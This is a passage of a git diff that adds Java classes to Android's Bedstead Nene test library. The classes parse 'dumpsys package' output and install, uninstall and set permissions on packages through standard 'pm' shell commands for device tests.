+    public String adbOutput() {
+        return adbOutput;
+    }
+
+    @Override
+    public String toString() {
+        return super.toString() + "[output=\"" + adbOutput + "\"]";
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
new file mode 100644
index 0000000..bbb6aeb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+/**
+ * Top level {@link Exception} thrown by Nene APIs.
+ *
+ * <p>This is a {@link RuntimeException} as, because Nene APIs are only to be used in tests, it is
+ * expected that exceptional behaviour should just result in a failed test.
+ */
+public class NeneException extends RuntimeException {
+    public NeneException(String message) {
+        super(message);
+    }
+
+    public NeneException(String message, Throwable throwable) {
+        super(message, throwable);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
new file mode 100644
index 0000000..7ab4681
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import android.annotation.TargetApi;
+import android.os.Build;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.Map;
+import java.util.Set;
+
+/** Parser for `adb dumpsys package`. */
+@TargetApi(Build.VERSION_CODES.O)
+interface AdbPackageParser {
+
+    static AdbPackageParser get(TestApis testApis, int sdkVersion) {
+        return new AdbPackageParser26(testApis);
+    }
+
+    /**
+     * The result of parsing.
+     *
+     * <p>Values which are not used on the current version of Android will be {@code null}.
+     */
+    class ParseResult {
+        Map<String, Package> mPackages;
+        Set<String> mFeatures;
+    }
+
+    ParseResult parse(String dumpsysPackageOutput) throws AdbParseException;
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
new file mode 100644
index 0000000..2b1a6a8
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Parser for `adb dumpsys package` on Android O+.
+ *
+ * <p>This class is structured so that future changes in ADB output can be dealt with by extending
+ * this class and overriding the appropriate section parsers.
+ */
+@RequiresApi(Build.VERSION_CODES.O)
+public class AdbPackageParser26 implements AdbPackageParser {
+
+    private static final int PACKAGE_LIST_BASE_INDENTATION = 2;
+
+    private final TestApis mTestApis;
+
+    AdbPackageParser26(TestApis testApis) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+        mTestApis = testApis;
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysPackageOutput) throws AdbParseException {
+        ParseResult parseResult = new ParseResult();
+        parseResult.mFeatures = parseFeatures(dumpsysPackageOutput);
+        parseResult.mPackages = parsePackages(dumpsysPackageOutput);
+        return parseResult;
+    }
+
+    Set<String> parseFeatures(String dumpsysPackageOutput) throws AdbParseException {
+        String featuresList = extractFeaturesList(dumpsysPackageOutput);
+        Set<String> features = new HashSet<>();
+        for (String featureLine : featuresList.split("\n")) {
+            features.add(featureLine.trim());
+        }
+        return features;
+    }
+
+    String extractFeaturesList(String dumpsysPackageOutput) throws AdbParseException {
+        try {
+            return dumpsysPackageOutput.split("Features:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting features list", dumpsysPackageOutput, e);
+        }
+    }
+
+    Map<String, Package> parsePackages(String dumpsysUsersOutput) throws AdbParseException {
+        String packagesList = extractPackagesList(dumpsysUsersOutput);
+
+        Set<String> packageStrings = extractPackageStrings(packagesList);
+        Map<String, Package> packages = new HashMap<>();
+        for (String packageString : packageStrings) {
+            Package pkg = new Package(mTestApis, parsePackage(packageString));
+            packages.put(pkg.packageName(), pkg);
+        }
+        return packages;
+    }
+
+    String extractPackagesList(String dumpsysPackageOutput) throws AdbParseException {
+        try {
+            return dumpsysPackageOutput.split("\nPackages:\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting packages list", dumpsysPackageOutput, e);
+        }
+    }
+
+    Set<String> extractPackageStrings(String packagesList) throws AdbParseException {
+        return extractIndentedSections(packagesList, PACKAGE_LIST_BASE_INDENTATION);
+    }
+
+    private static final Pattern USER_INSTALLED_PATTERN =
+            Pattern.compile("User (\\d+):.*?installed=(\\w+)");
+
+    Package.MutablePackage parsePackage(String packageString) throws AdbParseException {
+        try {
+            String packageName = packageString.split("\\[", 2)[1].split("]", 2)[0];
+            Package.MutablePackage pkg = new Package.MutablePackage();
+            pkg.mPackageName = packageName;
+            pkg.mInstalledOnUsers = new HashMap<>();
+            pkg.mInstallPermissions = new HashSet<>();
+
+            Set<String> sections = extractIndentedSections(
+                    packageString.split("\n", 2)[1], // Remove first line (package name)
+                    /* baseIndentation= */ 4);
+
+            for (String section : sections) {
+                if (section.startsWith("install permissions")) {
+                    parseInstallPermissions(section, pkg);
+                } else if (section.startsWith("User ")) {
+                    parseUser(section, pkg);
+                }
+            }
+
+            return pkg;
+        } catch (IndexOutOfBoundsException | NumberFormatException e) {
+            throw new AdbParseException("Error parsing package", packageString, e);
+        }
+    }
+
+    void parseInstallPermissions(String section, Package.MutablePackage pkg) {
+        String list = section.split("\n", 2)[1]; // remove header
+        for (String item : list.split("\n")) {
+            String[] trimmed = item.trim().split(":", 2);
+            String permissionName = trimmed[0];
+
+            if (trimmed[1].contains("granted=true")) {
+                pkg.mInstallPermissions.add(permissionName);
+            }
+        }
+    }
+
+    void parseUser(String section, Package.MutablePackage pkg) throws AdbParseException {
+        Matcher userInstalledMatcher = USER_INSTALLED_PATTERN.matcher(section);
+        if (!userInstalledMatcher.find()) {
+            throw new AdbParseException("Error parsing user section in package", section);
+        }
+        int userId = Integer.parseInt(userInstalledMatcher.group(1));
+        boolean isInstalled = Boolean.parseBoolean(userInstalledMatcher.group(2));
+
+        if (!isInstalled) {
+            return;
+        }
+
+        UserReference user = mTestApis.users().find(userId);
+        Package.MutableUserPackage userPackage = new Package.MutableUserPackage();
+        userPackage.mGrantedPermissions = new HashSet<>();
+        pkg.mInstalledOnUsers.put(user, userPackage);
+
+
+        try {
+            String[] sectionParts = section.split("\n", 2); // remove header
+
+            if (sectionParts.length < 2) {
+                return; // No content - just the header
+            }
+
+            Set<String> userSections = extractIndentedSections(
+                    sectionParts[1], // Remove first line (user name)
+                    /* baseIndentation= */ 6);
+
+            for (String userSection : userSections) {
+                if (userSection.startsWith("runtime permissions:")) {
+                    String list = userSection.split("\n", 2)[1]; // remove header
+                    for (String item : list.split("\n")) {
+                        String[] trimmed = item.trim().split(":", 2);
+                        String permissionName = trimmed[0];
+
+                        if (trimmed[1].contains("granted=true")) {
+                            userPackage.mGrantedPermissions.add(permissionName);
+                        }
+                    }
+                }
+            }
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing user section", section, e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
new file mode 100644
index 0000000..7069aaa
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.Manifest.permission.KEEP_UNINSTALLED_PACKAGES;
+
+import android.content.pm.PackageManager;
+import android.os.Build;
+
+import androidx.annotation.CheckResult;
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.stream.Collectors;
+
+
+/**
+ * Builder for a list of packages which will not be cleaned up by the system even if they are not
+ * installed on any user.
+ */
+@RequiresApi(Build.VERSION_CODES.S)
+public final class KeepUninstalledPackagesBuilder {
+
+    private final List<String> mPackages = new ArrayList<>();
+    private final TestApis mTestApis;
+
+    KeepUninstalledPackagesBuilder(TestApis testApis) {
+        mTestApis = testApis;
+    }
+
+    /**
+     * Commit the collection of packages which will not be cleaned up.
+     *
+     * <p>Packages previously in the list but not in the updated list may be removed at any time if
+     * they are not installed on any user.
+     */
+    public void commit() {
+        // TODO(scottjonathan): Investigate if we can make this backwards compatible by pulling the
+        //  APK files and keeping them (either as a file or in memory) until needed to resolve or
+        //  re-install
+        PackageManager packageManager =
+                mTestApis.context().instrumentedContext().getPackageManager();
+
+        try (PermissionContext p =
+                    mTestApis.permissions().withPermission(KEEP_UNINSTALLED_PACKAGES)) {
+            packageManager.setKeepUninstalledPackages(mPackages);
+        }
+    }
+
+    /**
+     * Clear the list of packages which will not be cleaned up.
+     *
+     * <p>Packages previously in the list may be removed at any time if they are not installed on
+     * any user.
+     */
+    public void clear() {
+        mPackages.clear();
+        commit();
+    }
+
+    /**
+     * Add a package to the list of those which will not be cleaned up.
+     */
+    @CheckResult
+    public KeepUninstalledPackagesBuilder add(PackageReference pkg) {
+        mPackages.add(pkg.packageName());
+        return this;
+    }
+
+    /**
+     * Add a package to the list of those which will not be cleaned up.
+     */
+    @CheckResult
+    public KeepUninstalledPackagesBuilder add(String pkg) {
+        return add(mTestApis.packages().find(pkg));
+    }
+
+    /**
+     * Add a collection of packages to the list of those which will not be cleaned up.
+     */
+    @CheckResult
+    public KeepUninstalledPackagesBuilder add(Collection<PackageReference> packages) {
+        for (PackageReference pkg : packages) {
+            add(pkg);
+        }
+        return this;
+    }
+
+    /**
+     * Add a collection of packages to the list of those which will not be cleaned up.
+     */
+    @CheckResult
+    public KeepUninstalledPackagesBuilder addPackageNames(Collection<String> packages) {
+        return add(packages.stream().map(
+                (s) -> mTestApis.packages().find(s)).collect(Collectors.toSet()));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
new file mode 100644
index 0000000..298db9d
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Resolved information about a package on the device.
+ */
+public class Package extends PackageReference {
+
+    private static final String LOG_TAG = "Package";
+    private final PackageManager mPackageManager;
+
+    static final class MutablePackage {
+        String mPackageName;
+        Map<UserReference, MutableUserPackage> mInstalledOnUsers;
+        Set<String> mInstallPermissions;
+    }
+
+    static final class MutableUserPackage {
+        Set<String> mGrantedPermissions;
+    }
+
+    private final MutablePackage mMutablePackage;
+    private final Set<String> mRequestedPermissions;
+
+    Package(TestApis testApis, MutablePackage mutablePackage) {
+        super(testApis, mutablePackage.mPackageName);
+        mMutablePackage = mutablePackage;
+        mRequestedPermissions = new HashSet<>();
+        mPackageManager = testApis.context().instrumentedContext().getPackageManager();
+
+        try {
+            PackageInfo packageInfo = mPackageManager.getPackageInfo(
+                    mMutablePackage.mPackageName, /* flags= */ GET_PERMISSIONS);
+            if (packageInfo.requestedPermissions != null) {
+                mRequestedPermissions.addAll(Arrays.asList(packageInfo.requestedPermissions));
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            Log.d(LOG_TAG, "NameNotFound when resolving package", e);
+        }
+    }
+
+    /** Get {@link UserReference}s who have this {@link Package} installed. */
+    public Set<UserReference> installedOnUsers() {
+        return mMutablePackage.mInstalledOnUsers.keySet();
+    }
+
+    /**
+     * Get all permissions granted to this package on the given user.
+     *
+     * <p>This will also include permissions which are granted for all users.
+     */
+    public Set<String> grantedPermissions(UserReference user) {
+        MutableUserPackage userPackage = mMutablePackage.mInstalledOnUsers.get(user);
+        if (userPackage == null) {
+            return new HashSet<>();
+        }
+
+        Set<String> mergedPermissions = new HashSet<>();
+        mergedPermissions.addAll(mMutablePackage.mInstallPermissions);
+        mergedPermissions.addAll(userPackage.mGrantedPermissions);
+
+        return mergedPermissions;
+    }
+
+    /**
+     * Get all permissions requested by this package.
+     */
+    public Set<String> requestedPermissions() {
+        return mRequestedPermissions;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("Package{");
+        stringBuilder.append("packageName=" + mMutablePackage.mPackageName);
+        stringBuilder.append("installedOnUsers=" + mMutablePackage.mInstalledOnUsers);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
new file mode 100644
index 0000000..40a859c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static android.content.pm.PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.io.File;
+
+/**
+ * A representation of a package on device which may or may not exist.
+ *
+ * <p>To resolve the package into a {@link Package}, see {@link #resolve()}.
+ */
+public abstract class PackageReference {
+    private final TestApis mTestApis;
+    private final String mPackageName;
+
+    private final PackageManager mPackageManager;
+
+    PackageReference(TestApis testApis, String packageName) {
+        mTestApis = testApis;
+        mPackageManager = mTestApis.context().instrumentedContext().getPackageManager();
+        mPackageName = packageName;
+    }
+
+    /** Return the package's name. */
+    public String packageName() {
+        return mPackageName;
+    }
+
+    /**
+     * Get the current state of the {@link Package} from the device, or {@code null} if the package
+     * does not exist.
+     */
+    @Nullable
+    public Package resolve() {
+        return mTestApis.packages().fetchPackage(mPackageName);
+    }
+
+    /**
+     * Install the package on the given user.
+     *
+     * <p>If you wish to install a package which is not already installed on another user, see
+     * {@link Packages#install(UserReference, File)}.
+     */
+    public PackageReference install(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        try {
+            // Expected output "Package X installed for user: Y"
+            ShellCommand.builderForUser(user, "cmd package install-existing")
+                    .addOperand(mPackageName)
+                    .validate(
+                            (output) -> output.contains("installed for user"))
+                    .execute();
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Could not install-existing package " + this, e);
+        }
+    }
+
+    /**
+     * Uninstall the package for the given user.
+     *
+     * <p>If this is the last user which has this package installed, then the package will no
+     * longer {@link #resolve()}.
+     *
+     * <p>If the package is not installed for the given user, nothing will happen.
+     */
+    public PackageReference uninstall(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+
+        IntentFilter packageRemovedIntentFilter =
+                new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
+        packageRemovedIntentFilter.addDataScheme("package");
+
+        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
+                mTestApis.context().androidContextAsUser(user),
+                packageRemovedIntentFilter);
+
+        try {
+            try (PermissionContext p = mTestApis.permissions().withPermission(
+                    INTERACT_ACROSS_USERS_FULL)) {
+                broadcastReceiver.register();
+            }
+
+            // Expected output "Success"
+            String output = ShellCommand.builderForUser(user, "pm uninstall")
+                    .addOperand(mPackageName)
+                    .validate((o) -> {
+                        o = o.toUpperCase();
+                        return o.startsWith("SUCCESS") || o.contains("NOT INSTALLED FOR");
+                    })
+                    .execute();
+
+            if (output.toUpperCase().startsWith("SUCCESS")) {
+                broadcastReceiver.awaitForBroadcastOrFail();
+            }
+
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Could not uninstall package " + this, e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
+    }
+
+    /**
+     * Grant a permission for the package on the given user.
+     *
+     * <p>The package must be installed on the user, must request the given permission, and the
+     * permission must be a runtime permission.
+     */
+    public PackageReference grantPermission(UserReference user, String permission) {
+        // There is no readable output upon failure so we need to check ourselves
+        checkCanGrantOrRevokePermission(user, permission);
+
+        try {
+            ShellCommand.builderForUser(user, "pm grant")
+                    .addOperand(packageName())
+                    .addOperand(permission)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+
+            assertWithMessage("Error granting permission " + permission
+                    + " to package " + this + " on user " + user
+                    + ". Command appeared successful but not set.")
+                    .that(resolve().grantedPermissions(user)).contains(permission);
+
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Error granting permission " + permission + " to package "
+                    + this + " on user " + user, e);
+        }
+    }
+
+    /**
+     * Deny a permission for the package on the given user.
+     *
+     * <p>The package must be installed on the user, must request the given permission, and the
+     * permission must be a runtime permission.
+     *
+     * <p>You can not deny permissions for the current package on the current user.
+     */
+    public PackageReference denyPermission(UserReference user, String permission) {
+        // There is no readable output upon failure so we need to check ourselves
+        checkCanGrantOrRevokePermission(user, permission);
+
+        if (packageName().equals(mTestApis.context().instrumentedContext().getPackageName())
+                && user.equals(mTestApis.users().instrumented())) {
+            Package resolved = resolve();
+            if (!resolved.grantedPermissions(user).contains(permission)) {
+                return this; // Already denied
+            }
+            throw new NeneException("Cannot deny permission from current package");
+        }
+
+        try {
+            ShellCommand.builderForUser(user, "pm revoke")
+                    .addOperand(packageName())
+                    .addOperand(permission)
+                    .allowEmptyOutput(true)
+                    .validate(String::isEmpty)
+                    .execute();
+
+            assertWithMessage("Error denying permission " + permission
+                    + " to package " + this + " on user " + user
+                    + ". Command appeared successful but not set.")
+                    .that(resolve().grantedPermissions(user)).doesNotContain(permission);
+
+            return this;
+        } catch (AdbException e) {
+            throw new NeneException("Error denying permission " + permission + " to package "
+                    + this + " on user " + user, e);
+        }
+    }
+
+    private void checkCanGrantOrRevokePermission(UserReference user, String permission) {
+        Package resolved = resolve();
+        if (resolved == null || !resolved.installedOnUsers().contains(user)) {
+            throw new NeneException("Attempting to grant " + permission + " to " + this
+                    + " on user " + user + ". But it is not installed");
+        }
+
+        try {
+            PermissionInfo permissionInfo =
+                    mPackageManager.getPermissionInfo(permission, /* flags= */ 0);
+
+            if (!protectionIsDangerous(permissionInfo.protectionLevel)
+                    && !protectionIsDevelopment(permissionInfo.protectionLevel)) {
+                throw new NeneException("Cannot grant non-runtime permission "
+                        + permission + ", protection level is " + permissionInfo.protectionLevel);
+            }
+
+            if (!resolved.requestedPermissions().contains(permission)) {
+                throw new NeneException("Cannot grant permission "
+                        + permission + " which was not requested by package " + packageName());
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new NeneException("Permission does not exist: " + permission);
+        }
+    }
+
+    private boolean protectionIsDangerous(int protectionLevel) {
+        return (protectionLevel & PROTECTION_DANGEROUS) != 0;
+    }
+
+    private boolean protectionIsDevelopment(int protectionLevel) {
+        return (protectionLevel & PROTECTION_FLAG_DEVELOPMENT) != 0;
+    }
+
+    @Override
+    public int hashCode() {
+        return mPackageName.hashCode();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof PackageReference)) {
+            return false;
+        }
+
+        PackageReference other = (PackageReference) obj;
+        return other.mPackageName.equals(mPackageName);
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("PackageReference{");
+        stringBuilder.append("packageName=" + mPackageName);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
new file mode 100644
index 0000000..65ce261
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+
+import androidx.annotation.CheckResult;
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test APIs relating to packages.
+ */
+public final class Packages {
+
+    private Map<String, Package> mCachedPackages = null;
+    private Set<String> mFeatures = null;
+    private final AdbPackageParser mParser;
+    final TestApis mTestApis;
+
+    private final IntentFilter mPackageAddedIntentFilter =
+            new IntentFilter(Intent.ACTION_PACKAGE_ADDED);
+
+
+    public Packages(TestApis testApis) {
+        if (testApis == null) {
+            throw new NullPointerException();
+        }
+        mPackageAddedIntentFilter.addDataScheme("package");
+        mTestApis = testApis;
+        mParser = AdbPackageParser.get(mTestApis, SDK_INT);
+    }
+
+
+    /** Get the features available on the device. */
+    public Set<String> features() {
+        if (mFeatures == null) {
+            fillCache();
+        }
+
+        return mFeatures;
+    }
+
+    /** Resolve all packages on the device. */
+    public Collection<PackageReference> all() {
+        return new HashSet<>(allResolved());
+    }
+
+    /** Resolve all packages installed for a given {@link UserReference}. */
+    public Collection<PackageReference> installedForUser(UserReference user) {
+        if (user == null) {
+            throw new NullPointerException();
+        }
+        Set<PackageReference> installedForUser = new HashSet<>();
+
+        for (Package pkg : allResolved()) {
+            if (pkg.installedOnUsers().contains(user)) {
+                installedForUser.add(pkg);
+            }
+        }
+
+        return installedForUser;
+    }
+
+    private Collection<Package> allResolved() {
+        fillCache();
+
+        return mCachedPackages.values();
+    }
+
+    /**
+     * Install an APK file to a given {@link UserReference}.
+     *
+     * <p>The user must be started.
+     *
+     * <p>If the package is already installed, this will replace it.
+     *
+     * <p>If the package is marked testOnly, it will still be installed.
+     */
+    public PackageReference install(UserReference user, File apkFile) {
+        if (user == null || apkFile == null) {
+            throw new NullPointerException();
+        }
+
+        if (Versions.isRunningOn(Versions.S, "S")) {
+            return install(user, loadBytes(apkFile));
+        }
+
+        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
+                mTestApis.context().instrumentedContext(), mPackageAddedIntentFilter);
+        broadcastReceiver.register();
+
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOperand("-r") // Reinstall automatically
+                    .addOperand(apkFile.getAbsolutePath())
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+
+            return waitForPackageAddedBroadcast(broadcastReceiver);
+        } catch (AdbException e) {
+            User resolvedUser = user.resolve();
+
+            if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+                throw new NeneException("Packages can not be installed in non-started users "
+                        + "(Trying to install into user " + resolvedUser + ")");
+            }
+            throw new NeneException("Could not install " + apkFile + " for user " + user, e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
+    }
+
+    private PackageReference waitForPackageAddedBroadcast(
+            BlockingBroadcastReceiver broadcastReceiver) {
+        Intent intent = broadcastReceiver.awaitForBroadcast();
+        if (intent == null) {
+            throw new NeneException(
+                    "Did not receive ACTION_PACKAGE_ADDED broadcast after installing package.");
+        }
+        // TODO(scottjonathan): Could this be flaky? what if something is added elsewhere at
+        //  the same time...
+        String installedPackageName = intent.getDataString().split(":", 2)[1];
+        return mTestApis.packages().find(installedPackageName);
+    }
+
+    // TODO: Move this somewhere reusable (in utils)
+    private static byte[] loadBytes(File file) {
+        try (FileInputStream fis = new FileInputStream(file)) {
+            return FileUtils.readInputStreamFully(fis);
+        } catch (IOException e) {
+            throw new NeneException("Could not read file bytes for file " + file);
+        }
+    }
+
+    /**
+     * Install an APK from the given byte array to a given {@link UserReference}.
+     *
+     * <p>The user must be started.
+     *
+     * <p>If the package is already installed, this will replace it.
+     *
+     * <p>If the package is marked testOnly, it will still be installed.
+     */
+    public PackageReference install(UserReference user, byte[] apkFile) {
